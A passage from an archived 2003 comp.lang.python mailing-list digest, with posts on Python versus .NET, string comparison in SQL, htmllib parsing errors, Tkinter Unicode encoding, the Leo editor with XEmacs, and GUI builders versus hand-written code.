"scene" by publishing a quasi-standard framework which consists of the
company's "core technologies" (COM/DCOM/passport, just to name a few)
that are ported in some way to run on anything that's out there, barely,
and "a little better" on their platform.

.NET provides several language bindings (C$$$^H^H^H#, ahem, MSVC,
VB,... but why would you /want/ to code in those languages once you made
friends with Python?[1]).

Python is an interpreted, object-oriented, weak-typed, [...] programming
language that enables you to write elegant and working code. Python
employs "third-party" bindings to C-libraries or native Python modules
to provide additional functionalty or access to third-party APIs.

As you can see, both of them are quite different things and thus, cannot
be easily compared.

Regards,
/k

[1] SCNR, you know where to put the irony tags ;-)




From wilk-spamout at flibuste.net  Mon Jan 20 16:06:23 2003
From: wilk-spamout at flibuste.net (William)
Date: 20 Jan 2003 22:06:23 +0100
Subject: doc in emacs
References: <87hec4x9oc.fsf@flibuste.net> <yfsof6b24ea.fsf@black132.ex.ac.uk>
Message-ID: <87r8b7edkg.fsf@flibuste.net>

Alexander Schmolck <a.schmolck at gmx.net> writes:

> William <wilk-spamout at flibuste.net> writes:
> 
> > hi,
> > 
> > Is there an easy way to browse the python manual inside emacs ?
> 
> Thttp://www.python.org/ftp/python/doc/2.2/info-2.2.tgz
> 
> for more see this msg-id: <yfsy9912ztq.fsf at black132.ex.ac.uk>

fine, i'm using debian, and it was under my finger with C-hi !

-- 
William Dode - http://flibuste.net



From clspence at one.net  Wed Jan 15 19:19:06 2003
From: clspence at one.net (Chris Spencer)
Date: Wed, 15 Jan 2003 19:19:06 -0500
Subject: Interesting problem comparing strings with integer values...
In-Reply-To: <200301160002.QAA08652@mail.arc.nasa.gov>
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov>
Message-ID: <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com>

	The comparison will not be done inside of a Python interpreter, but in
an SQL statement. ie...
select blah from table where value>"999" and value<"3432";

We're storing arbitrary data in text blobs, so we can't make "value" above an
integer type.

As I mentioned in my first post, while the above SQL statement would be
incorrect, the below SQL code WOULD.

select blah from table where value>"00000999" and value<"00003432";

This just seems incredibly hack-y to me.  It means that we'd have a hardcoded
limit for padding values with zeroes.  It gets even more fun when I talk
floating point values...But one step at a time.

Note that this works as well:
select blah from table where value>"1111100111" and value<"110101101000";

However, I've not been able to find an equivalent to hex() or oct() that would
turn integers into binary string representation.  If there IS such a beastie,
please let me know.

Chris.

On Wed, 15 Jan 2003 16:02:59 -0800, you wrote:

>On Wednesday 15 January 2003 15:23, Chris Spencer wrote:
>> Due to certain design constraints, I must be able to store both
>> integers and floating point numbers as strings.  These strings must
>> be able to be compared correctly, so things like: "999"<"3432" are
>> not possible. One option we thought of was padding the strings with
>> zeros, so things like: "00000999"<"00003432" would work.  This seems
>> a bit hack-y to me.  I was wondering if anyone has a more elegant
>> solution to the problem?
>
>If you must only store the numbers as strings, then you could easily 
>convert them back to number types for comparisons, ie:
>
>float("999") < float("3432")
>
>A fancy method would be to try converting to floats, and if that fails, 
>convert to longs for comparison.  If this approach isn't workable, then 
>you need to more clearly identify your needs.  Is speed an issue?  Is 
>it really only an issue of storing data as strings, or must you operate 
>directly on those strings as well, etc.?  And will the numbers all be 
>small (floats loose precision as they get to be very large, for example)





From reageer.in at de.nieuwsgroep  Sun Jan 26 09:50:41 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Sun, 26 Jan 2003 15:50:41 +0100
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com> <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com> <3E33EC7A.9080900@v.loewis.de>
Message-ID: <t4t73vc63vo2kuf5p5t4ao4cdmng7p2387@4ax.com>

Martin v. L?wis:
           ^ you know the problem :-)
>Rene Pijlman wrote:
>> But I'm lazy and I was just hoping that someone
>> would have a similar translation table for Python's
>> string.translate lying around :-)
>
>I feel that it takes more time to post a message to usenet than to 
>actually write down the translation table. 

OK, OK, OK, ... :-) Here it is for whoever finds this in Google
someday.

accentstable = string.join(map(chr, range(192)), "") +
"AAAAAAACEEEEIIIIDNOOOOOxOUUUUYpBaaaaaaaceeeeiiiionooooo/ouuuuypy"

This also maps some funny characters which are not just accented
letters, but in this way it's all ASCII that I can post on
Usenet.

-- 
Ren? Pijlman
   ^ me too



From max at alcyone.com  Fri Jan 24 07:12:17 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 04:12:17 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net> <3E311E54.B692895E@alcyone.com> <mailman.1043409344.28937.python-list@python.org>
Message-ID: <3E312DA1.F706F43B@alcyone.com>

Laura Creighton wrote:

> This is not the sort of question that lends itself to finding a
> 'representative number'.  Web pages do not happen according to any
> natural distribution, thus they are 100% convenience sampling.

Naturally, we've already been through that even in this thread.  We're
just talking about the proper representation of the figures which have
unspecified meaning, rather than what those figures should mean.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ You'll learn / Life is worth it / Watch the tables turn
\__/ TLC
    Rules for Buh / http://www.alcyone.com/max/projects/cards/buh.html
 The official rules to the betting card game, Buh.



From kevinethridge at yahoo.com  Sun Jan  5 22:33:41 2003
From: kevinethridge at yahoo.com (Kevin Ethridge)
Date: Mon, 06 Jan 2003 03:33:41 GMT
Subject: Design By Contract in Python 2.4
Message-ID: <pO6S9.113295$6H6.3803900@twister.austin.rr.com>

Just kidding :)
Does anybody know if there are any plans for 'Eiffel style' DBC in Python?

Kevin





From tjreedy at udel.edu  Thu Jan  9 01:27:56 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Jan 2003 01:27:56 -0500
Subject: Confusion about numbers
References: <jr2q1vspelp0ddbi665rsodokmk4fvsbal@4ax.com>
Message-ID: <b3adnUDDJJdaioCjXTWcpA@comcast.com>

"Tim Roberts" <timr at probo.com> wrote in message
news:jr2q1vspelp0ddbi665rsodokmk4fvsbal at 4ax.com...
> I thought the special status of "long" numbers had gone by the
wayside, so
> that all integers were the same, but clearly I was mistaken:

The unification will not be complete until 2.4 or 2.5.  Changes that
break code will only be introduced after at least one release that
emits warning.

TJR





From pinard at iro.umontreal.ca  Thu Jan 30 19:00:15 2003
From: pinard at iro.umontreal.ca (Francois Pinard)
Date: 30 Jan 2003 19:00:15 -0500
Subject: moving a file in a filesystem-independent way?
In-Reply-To: <20030130234236.GB29788@siliconimage.com>
References: <b1ccej$1tc$1@peabody.colorado.edu>
	<20030130234236.GB29788@siliconimage.com>
Message-ID: <oqu1fqxk6o.fsf@alcyon.progiciels-bpi.ca>

[Inyeol Lee]

> > [...] os.rename(A,B) [...]

> shutil.move(src, dst), new in 2.3

Just curious, will it work with directories too?  And with whole directory
hierarchies when on different filesystems?  I think `mv' has been modified
recently (all being relative of course!), so it can do the latter thing.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From joshua at goodish.org  Sat Jan 18 10:16:51 2003
From: joshua at goodish.org (Joshua Goodlett)
Date: 18 Jan 2003 07:16:51 -0800
Subject: Difficulty using htmllib
Message-ID: <e81e0f3d.0301180716.5b1aba2a@posting.google.com>

I've written a small web robot script to familiarize myself with both
the htmllib and urllib modules but have been getting an error message
when my HTMLParser subclass is fed.  I've included the relevant code,
as well as the error message, below:

----- snip -----

import htmllib
from formatter import NullFormatter

class URLExtractor(htmllib.HTMLParser):
    def __init__(self, outfile=None): 
        htmllib.HTMLParser.__init__(self, NullFormatter())
        self.url_list = []
                
    def anchor_bgn(self, href, name, type):
        self.url_list.append(href)
    
    def anchor_end(self): pass

    def reset(self)
        htmllib.HTMLParser.reset(self)
        self.url_list = []

    def get_urls(self):
        return self.url_list

if __name__ == "__main__":

    parser = URLExtractor()
    hrefs = []

    urllist = ['www.4SEINC.com',
               'www.aw-comm.com',
               'www.arwireless.net',
               'www.turn-keywireless.com',
               'www.acadianatowers.com',
               'www.adamstower.com',
               'www.advancedlightning.com',
               'www.advtwoway.com',
               'www.aerosolutionsllc.com',
               'www.afcommsupply.com',
               'www.alandick.com',
               'www.allcomm.com',
               'www.alliancecomm.com',
               'www.alliedtower.com',
               'www.allteccorp.com',
               'www.alpha-telecom.com',
               'www.alumaform.com',
               'www.amchel.com',
               'www.amertower.com',
               'www.anchorguard.com',
               'www.andrew.com',
               'www.us.anritsu.com']
               
    for url in urllist:        
        sock = urllib.urlopen('http://' + url)
        data = sock.read()
        sock.close()
        parser.feed(data)
        hrefs.extend(parser.get_urls())
        parser.close()
        parser.reset()

----- snip -----

And now the error message...

----- snip -----

Traceback (most recent call last):
  File "parsertest.py", line 55, in ?
    parser.feed(data)
  File "C:\Python22\lib\sgmllib.py", line 95, in feed
    self.goahead(0)
  File "C:\Python22\lib\sgmllib.py", line 161, in goahead
    k = self.parse_declaration(i)
  File "C:\Python22\lib\markupbase.py", line 66, in parse_declaration
    decltype, j = self._scan_name(j, i)
  File "C:\Python22\lib\markupbase.py", line 313, in _scan_name
    self.error("expected name token")
  File "C:\Python22\lib\sgmllib.py", line 102, in error
    raise SGMLParseError(message)
sgmllib.SGMLParseError: expected name token
Press any key to continue . . .

----- snip -----

Any suggestions or advice as to the cause of the error would be
appreciated.  I'd suspected that the html source being fed to the
parser is malformed, but this may be wrong.

Cheers,
Joshua Goodlett



From skip at pobox.com  Mon Jan 27 09:39:33 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 08:39:33 -0600
Subject: beating a dead horse: automated form submission
In-Reply-To: <b0e655d.0301270041.34ebedff@posting.google.com>
References: <b0e655d.0301251204.5b7415e5@posting.google.com>
        <3E32EFD8.D00D4656@engcorp.com>
        <b0e655d.0301260938.14265877@posting.google.com>
        <3E342721.E8925970@engcorp.com>
        <b0e655d.0301270041.34ebedff@posting.google.com>
Message-ID: <15925.17573.15264.669873@montanaro.dyndns.org>

    >> Not sure what else might be going wrong... why not try the example
    >> from the documentation on httplib?

    Whit> I tried to run that example and get an Attribute
    Whit> error:HTTPConnection.  It's a sad affair when I can't even get the
    Whit> 10-line examples from the standard python libraries to work.  Any
    Whit> tips there?

What version of Python are you using?  HTTPConnection is relatively new
(Python 2.0 or 2.1 I believe).  In 1.5.2, the only connection class was HTTP
(retained in current versions only for backward compatibility, hence no
longer documented).  You *may* be able to get away with simply replacing

    h = httplib.HTTPConnection(...)

with

    h = httplib.HTTP(...)

for simple usage.

Skip





From johnroth at ameritech.net  Sat Jan  4 16:21:25 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 4 Jan 2003 16:21:25 -0500
Subject: How can I compile Python script into bytecode
References: <av6ssg$pkb6@rain.i-cable.com>
Message-ID: <v1ek1s4eu25141@news.supernews.com>

look at module py_compile.

John Roth

"shawn at shine hyphen info dot com" <"shawn at shine hyphen info dot
com"> wrote in message news:av6ssg$pkb6 at rain.i-cable.com...
> Hello
>
> How can I build a .pyc file from a source script?
>
> Shawn
>





From peter at engcorp.com  Wed Jan 22 22:18:05 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Jan 2003 22:18:05 -0500
Subject: XSL-FO? Python FOP?
References: <mailman.1043284300.28611.python-list@python.org>
Message-ID: <3E2F5EED.44FE643F@engcorp.com>

Mongryong wrote:
> 
> Is there a XSL-FO library for Python yet (ie. like  Apache's FOP for
> Java)?

There is definitely nothing anywhere near as advanced as FOP,
as I've been looking for it.  

There *might* be some early projects with similar goals, or
which attempt to do anything at all with XSL-FO, but I haven't
found a trace of those either.

Interesting note: according to the "I'm Feeling Lucky" page 
(PDF format) from a Google search with "python fop", FOP was 
first attempted in Perl, then prototyped in Python, by James Tauber 
based on Paul Prescod's recommendation, sometime in late 1998,
before the prototype was abandoned and it was redone in Java.

FOPs not an entirely bad product right now.  Can you just use it?

On the Python front, I suspect with a combination of ReportLab,
PIL, and some early-stage Python SVG processor I recall seeing (was
that part of ReportLab?  don't remember), one could get pretty
close with relatively little effort.  It would be an impressive
demonstration of Python's power, most likely, but for sure it's
more than a little work.

-Peter



From andy.elvey at paradise.net.nz  Tue Jan  7 14:06:27 2003
From: andy.elvey at paradise.net.nz (Andy Elvey)
Date: Wed, 8 Jan 2003 08:06:27 +1300
Subject: Reading a text file into a dictionary
Message-ID: <_yFS9.5667$j94.1089940@news02.tsnz.net>

Hi all -

( I'm running Python 2.3a1 under win98 )
 I have a comma-delimited file which I'm trying to read into a Python
 dictionary (actually, a dictionary implemented using lists). The dictionary
 code is exactly as shown in the "What's new" part of the Python 2.3a1
 release notes.
 The file is as follows -
Country,City,var1,var2,var3
Australia,Sydney,214,105,478
Australia,Melbourne,345,26,200
Australia,Perth,109,217,809

The first row (the column headings) will be the keys, and the rest of the
data is the values to be associated with the keys.
My code is as follows -

### Start of code ###
import  UserDict
class SeqDict(UserDict.DictMixin):
    """Dictionary lookalike implemented with lists."""
    def __init__(self):
        self.keylist = []
        self.valuelist = []
    def __getitem__(self, key):
        try:
            i = self.keylist.index(key)
        except ValueError:
            raise KeyError
        return self.valuelist[i]
    def __setitem__(self, key, value):
        try:
            i = self.keylist.index(key)
            self.valuelist[i] = value
        except ValueError:
            self.keylist.append(key)
            self.valuelist.append(value)
    def __delitem__(self, key):
        try:
            i = self.keylist.index(key)
        except ValueError:
            raise KeyError
        self.keylist.pop(i)
        self.valuelist.pop(i)
    def keys(self):
        return list(self.keylist)

# Now, read a comma-delimited file into the dictionary
def readfile():
    mydict = SeqDict()
# NOTE - enter the path and filename WITHOUT quotes around it.
    filename = raw_input('Enter name of file to open: ')
    file = open(filename, 'r')
    linenum=0
    for line in file.readlines():
            linenum+=1
            mywords = string.split(line, sep=',')

            for word in mywords:
                if linenum == 1:
# First row of data: the dictionary keys
                    mydict.keylist.append(word)
                    mydict.valuelist.append([])
                else:
# The rest of the data
                    mydict.valuelist.append(word)
    for key, value in mydict:
        print key, value

if __name__ == '__main__':
    readfile()
### End of code ###

When I run this, it crashes at the line "for key, value in mydict"
with the message "ValueError - too many values to unpack".
 Hmmmm .....
So, any help is much appreciated. Thanks in advance...  :-)







From lac at strakt.com  Fri Jan 24 08:19:28 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 14:19:28 +0100
Subject: Python use growing or shrinking 
In-Reply-To: Message from Erik Max Francis <max@alcyone.com> 
   of "Fri, 24 Jan 2003 04:12:17 PST." <3E312DA1.F706F43B@alcyone.com> 
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net> <3E311E54.B692895E@alcyone.com> <mailman.1043409344.28937.python-list@python.org> <3E312DA1.F706F43B@alcyone.com> 
Message-ID: <200301241319.h0ODJSjL027676@ratthing-b246.strakt.com>

> Laura Creighton wrote:
> 
> > This is not the sort of question that lends itself to finding a
> > 'representative number'.  Web pages do not happen according to any
> > natural distribution, thus they are 100% convenience sampling.
> 
> Naturally, we've already been through that even in this thread.  We're
> just talking about the proper representation of the figures which have
> unspecified meaning, rather than what those figures should mean.

Then I don't understand the post you replied to.

Terry Hancock wrote:

> Yeah, maybe I should've mentioned that -- one might try to think of these
> numbers as being percentages of "all software development pages", but of
> course, they're not. It's just a percentage of the pages listed.  It might
> make more sense to scale relative to one representative member. But which
> one?

Terry Hancock has a problem.  He wants to get some sort of meaningful
number out of the data, because he wants there to be some sort of
relationship between pages listed and people who are using Python.
There isn't any.

You said:

>It's a good question.  Perhaps the arithmetic mean, geometric mean, or
>even the median of all of them.  Perhaps even the results of the top
>ranker, and then everything is represented as a percentile of the front
>(again, not percentage of the total, but percentage of the front
>runner).  The latter has the benefit of being totally impervious to the
>addition of new elements (unless, of course, when added they rank first
>:-).

What do getting out statistical methods help?  You can have lots of
fun applying statistical methods to noise and getting things that look
meaningful, but they aren't.  You can do no meaningful statistical
sampling on number of web pages to get any results that require
probability sampling.  People get paid to create web pages.  Timothy Vue
can talk all he likes about his language of the future, but as far
as I know it still has 0 users.  Stephen Deibel is working his tail
off helping edit and produce Python Success Stories.  Among other
things, he hopes that this will increase the number of people who will
plunk down some money and buy Wing IDE from him. You cannot just
'smooth all these differences out' assuming this will even out in the
population.  It doesn't.

Laura Creighton




From tim.one at comcast.net  Sat Jan  4 23:38:29 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 04 Jan 2003 23:38:29 -0500
Subject: Okay, okay.
In-Reply-To: <3E17B214.196BA117@sdfsdfa.invalid>
Message-ID: <LNBBLJKPBEHFEDALKOLCIECFDGAB.tim.one@comcast.net>

[Jive Dadson]
> Alright already.  I'll do it.

Do what?

> I wasn't expecting the Spanish Inquisition.

Nobody expects (etc).




From peter at engcorp.com  Wed Jan 22 22:05:17 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Jan 2003 22:05:17 -0500
Subject: Sound programming: Tone production in Python?
References: <Pine.SO4.4.44.0301221532420.23474-100000@jalapeno.ucs.indiana.e
	 du> <mailman.1043280699.4791.python-list@python.org>
Message-ID: <3E2F5BED.3A690CAF@engcorp.com>

Andrew McGregor wrote:
> 
> sndarray just gives you a way to access raw sample data.  If you want to
> make tones, calculate a sine wave with the right period, amplitude and
> zero-offset (which will depend on the output format and sample rate), and
> use sndarray to play it.

Just a stray question: what do you mean by zero-offset in this context?
I've written signal generators that can output arbitrary periodic waveforms
including sinewaves in this manner, but I don't recall ever having to 
worry about anything I would have called the "zero offset".

-Peter



From altis at semi-retired.com  Sun Jan 26 13:09:31 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sun, 26 Jan 2003 10:09:31 -0800
Subject: Adding to a Dictionary
References: <3E3421E8.4050303@uiuc.edu>
Message-ID: <huVY9.10$9n4.27567@news.uswest.net>

http://www.python.org/doc/current/lib/typesmapping.html

myDict['key'] = 'value'

If you only want to set a dictionary item if it doesn't already exist, then
use setdefault.

ka

"Keenan Crane" <kcrane at uiuc.edu> wrote in message
news:3E3421E8.4050303 at uiuc.edu...
> I'm just starting out with Python and I'm having trouble figuring out
> how to add an entry to an already created dictionary.
>
> I'm looking for something like
>
> myDict.append('key', 'value')
>
> Are dictionaries even mutable?  If not, how do you usually solve this
> problem?
>
> Thanks,
>
> Keenan Crane
> kcrane at uiuc.edu
>





From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 01:19:05 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 22:19:05 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <mailman.1042436962.21167.python-list@python.org>
Message-ID: <7xznq57esm.fsf@ruckus.brouhaha.com>

Anthony Baxter <anthony at interlink.com.au> writes:
> More reading shows that neonates are babies that are born "live"

A neonate is anything that has just been born, not necessarily a snake.
For example, a newborn human baby is a neonate.



From suzuki611 at oki.com  Wed Jan 29 04:26:24 2003
From: suzuki611 at oki.com (SUZUKI Hisao)
Date: Wed, 29 Jan 2003 18:26:24 +0900
Subject: Tkinter + Unicode -- possible FIX
References: <3e3446f4_1@dns.sd54.bc.ca> <b12j8e$bof$1@news2.tilbu1.nb.home.nl> <fc3b2087.0301270846.307fbb45@posting.google.com> <3E356FA4.5010200@v.loewis.de> <3e35a3db_1@dns.sd54.bc.ca>
Message-ID: <200301290926.SAA13491@suzuki611.ngo.okisoft.co.jp>

In <3e35a3db_1 at dns.sd54.bc.ca>, Bob van der Poel wrote:
> Martin v. Loewis wrote:
> > Bob van der Poel wrote:
> > 
> >> And, I'm sort of
> >> convinced that having encoding enabled is the proper way to do things.
> > 
> > 
> > I'm convinced that this is evil. Your application will run on some 
> > systems and crash on others.
> >
> Well, I'm beginning to believe you are right. So, guess it's off to the 
> salt mines and I'll have to find all my widget.get()s and fix them.

And such finding and fixing will be almost impracticable, won't they?

I guess there are two reasons why having encoding enabled is evil.

  1. Such applications will not run in the default ASCII setting.

  2. Some systems have default encodings (that locale.getdefaultlocale()
     returns) for which Python does not provide the codecs.

As for Reason 1, if users want to use their own national characters in
your application, they will use _their_ encoding.  It may not be ASCII,
nor the encoding you suppose (but might be UTF-8 etc).  Do NOT GUESS
which encoding your users use (and, of course, do not guess they use
ASCII, which is a _special_ encoding where all bytes are in 0x00-0x7F).
They will specify their encoding as they like it.

Practically speaking, it is handy for users if the encoding
specification appears somewhere _one_ trivial place (e.g. site.py).  It
is worse if such specification appears all over the application code:

    if type(result) != type(""):
        result = result.encode(encoding)

where it is not clear if all the 'encoding's are consistent.

You had better check if your application runs, at least, both in ASCII
encoding and your current encoding.  Ideally you should make your
application runnable in _every_ encoding compatible with ASCII.  But do
not scatter encoding specifications over the code; it is evil.

Note that encoding-enabling we discuss here does not affect the parser
of Python.  Literals in the application code have _safely_ the same
values as the default.


Reason 2 applies to locales of China, Japan etc., you know.  In such
case, both implicit and _explicit_ conversions between Unicode and
string will raise LookupError of codecs _anyway_ if users specify the
encoding of their own locale.

# Prohibit them from using encoding of their own locale?  Indeed the 
# application will run, but it might be _useless_ for them.
# At least they _need_ encodings in which they _can_ represent their
# characters---typically, either UTF-8 or the encoding of their locale.

Luckily there is a general solution.  For Windows, just put

 if sys.platform == 'win32':
     import locale, codecs
     enc = locale.getdefaultlocale()[1]
     if enc.startswith('cp'):            # "cp***" ?
         try:
             codecs.lookup(enc)
         except LookupError:
             import encodings
             encodings._cache[enc] = encodings._unknown
             encodings.aliases.aliases[enc] = 'mbcs'

into site.py.  You do not need any other codecs from the third party.  I
have tested this patch in Python 2.3a1, but should work in Python 2.2.*
as well.  (In fact, the patch is mandatory for Python 2.3a1 IDLE on
Windows in Japanese locale if you do not install additional codecs.)

For Unix, I heard Universal Unicode Codec for POSIX iconv by Hye-Shik
Chang has been adopted in Python 2.3a recently.  Any codecs for system
default encodings will be available trivially.

# And as the bottom line, they can use UTF-8 at least.

Thus you just carefully make your application runnable in many encodings
compatible with ASCII, and do not scatter encoding specifications over
the code.  From my experience, I'd think it should be a trivial
requirement for typical applications.  Python users over the world will
be happy with your code.

After all, I think you do not have to go to the salt mines.

-- SUZUKI Hisao




From skip at pobox.com  Thu Jan  2 11:21:36 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 10:21:36 -0600
Subject: how to extract source code from code objects ?
In-Reply-To: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
Message-ID: <15892.26384.317487.463931@montanaro.dyndns.org>

    Michele> Is there a way to have back the source code, i.e. the string
    Michele> 'x=1' instead of the bytecode ?

I can think of two answers: decompilation and locating the source file.
Since strings aren't associated with files, that option is out.  That leaves
decompilation.  Google for "decompyle".

-- 
Skip Montanaro - skip at pobox.com
http://www.musi-cal.com/
http://www.mojam.com/




From fmancinelli at albalab.it  Fri Jan 17 03:57:25 2003
From: fmancinelli at albalab.it (Fabio)
Date: 17 Jan 2003 00:57:25 -0800
Subject: Curses
Message-ID: <8819151e.0301170057.347e84d3@posting.google.com>

am using the version of PythonD 1,1 in MSDOS but I do not succeed to
use the curses in order to make the masks. Bringing back the error
that they give to me:
 
D:\PYTHON\SAMPLES>python
Python 2.2.1 (#1, Dec 14 2002, 13:18:37)
[GCC 3.0.4] on ms-dos5
Type "help", "copyright", "credits" or "license" for more information.
>>> import curses
>>> curses.initscr()
Error opening terminal: unknown.

D:\PYTHON\SAMPLES>



someone can help me?



From spam-me at no-thanks.com  Tue Jan 28 03:18:25 2003
From: spam-me at no-thanks.com (Aum)
Date: Tue, 28 Jan 2003 21:18:25 +1300
Subject: Hacking Heaven - Leo+XEmacs Integrated
Message-ID: <93rZ9.51593$F63.1103117@news.xtra.co.nz>

Some months ago, the 'metastructural' editor 'Leo' (http://leo.sf.net) got 
covered on Slashdot. Seeing the power it offered to boost my productivity 
with code editing, I immediately downloaded it.

But some have complained of Leo's relatively slow performance and modest 
editing features, especially compared with the 2 'official' hacker editors, 
vim and emacs, which has slowed its uptake somewhat. Uptake has also been 
slowed IMO by conceptual inertia, with people reluctant to step into a 
radically new paradigm, after years in the vim/emacs 'religions'.

But after some playing around, I've ended up with a pretty heavenly combo - 
Leo on the left and XEmacs on the right, seamlessly integrated.

The setup is based on latest Leo CVS, plus a couple of hacks I've put in.

Installation:
1. Install Leo from CVS - instructions on the Leo website (above)
2. Replace LeoPy.leo with my hacked copy:
   http://www.freenet.org.nz/downloads/LeoPy.leo
3. Set up your xemacs so it launches gnuserv on startup
4. Open a leo window on the left of the screen - slide the divider all the
   way right so no code pane is visible, then resize the window to thin and  
   tall
5. Open Xemacs on the right.

>From now on, when you click on (or navigate to) a node in Leo, that node 
will be opened in XEmacs. When you save the node in XEmacs, Leo will 
automatically save as well.

Nearly all the hard work for this was done by Leo's ever patient author, Ed 
Ream, especially his labours with adding the 'open with' features.

Try out this combo - you might just love it.

Cheers
A




From vanevery at 3DProgrammer.com  Tue Jan 28 16:53:25 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Tue, 28 Jan 2003 21:53:25 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <pZCZ9.960$wd2.83257@newsread2.prod.itd.earthlink.net>

pu wrote:
>
> Is, or under which circumstances is the time which can be gained by
> using a RAD-IDE equivalent to the time gained by using Python
> directly?

Python doesn't provide a GUI directly.  So first you need to ask yourself
what GUI toolkit you're using.  Maybe it has a RAD-IDE and you can compare
apples to apples.  If not, if you insist on comparing apples to oranges,
then the question is "When does hand-coding beat RAD-IDE?"  It's not really
a Python question per se.

Hand-coding definitely beats RAD-IDE when you can narrow your application
GUI requirements to something trivial.  For instance, a lot of game
developers try to get everything done with a simple display window and
trivial menus.  By design, there's so little GUI to code that RAD-IDE is
pretty useless.  It'll just auto-generate a lot of unreadable spaghetti that
gets in your way.

Hand-coding definitely beats RAD-IDE when you must have control of the
application's event loop, and the RAD-IDE in question chooses to get in the
way of your event control.  RAD-IDE doesn't have to get in the way, but
often these products have come out of a "corporate schmuck" mentality that
they just wanna own everything and the user is only interested in banging
out zillions of inefficient widgets that are seldom used.  This is the
perinneal "Should I use MFC for my game?" question.  The answer is no, you
shouldn't.  MFC's event control is a complete pain in the ass.  It puts a
lot of things in your way and it's far more trouble than it's worth.

RAD-IDE definitely beats hand-coding when you must produce zillions and
zillions of widgets.  This is a rapid prototyping mentality: you know you
need a *lot* of GUI elements, there is no way to simplify, you know you need
dozens and dozens on a given screen, and you have no idea how exactly it's
all going to come together.  Doing stuff in text is kidding yourself, you
need WYSIWYG.

Between the extremes of "almost no widgets" and "zillions of widgets," you
have tradeoffs.  Personally I find RAD-IDE generated code totally
unreadable, and I hate having inscrutible components in my apps.  It all
depends on whether something saves pain and development time, either now or
later.  Your mileage is going to vary with your problems.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From amol at kenati.com  Thu Jan  2 03:40:23 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Thu, 2 Jan 2003 14:10:23 +0530
Subject: Removing Control characters
Message-ID: <200301020835.AAA09008@cyberpopuli.com>

I have an output of an command line operation which is stored in file and it 
contains special characters. The file looks as below:

--------------------------------------------------------------

--->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask 
255.255.255.255 nexthop-ip 192.168.22.98
interface ppd0^G
iprouting> add-route dest-ip subnet 22.12.23.44 subnetmask 255.255.255.255 
^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$dest-ip 
subnet 22.12.23.44 subnetmask 255.255.255.255 n          
^H^H^H^H^H^H^H^H^H^Hexthop-ip^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$bnet 
22.12.23.44 subnetmask 255.255.255.255 nexthop-ip            
^H^H^H^H^H^H^H^H^H^H^H192.168.2^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$.23.44 
subnetmask 255.255.255.255 nexthop-ip 192.168.22           
^H^H^H^H^H^H^H^H^H^H^H.98 
inter^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$netmask 
255.255.255.255 nexthop-ip 192.168.22.98 interf           
^H^H^H^H^H^H^H^H^H^H^Hace ppd0

Request timeout

iprouting>

--->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask 
255.255.255.255 nexthop-ip 192.168.22.98
vlanid 992^G
iprouting> add-route dest-ip subnet 22.12.23.44 subnetmask 255.255.255.255 
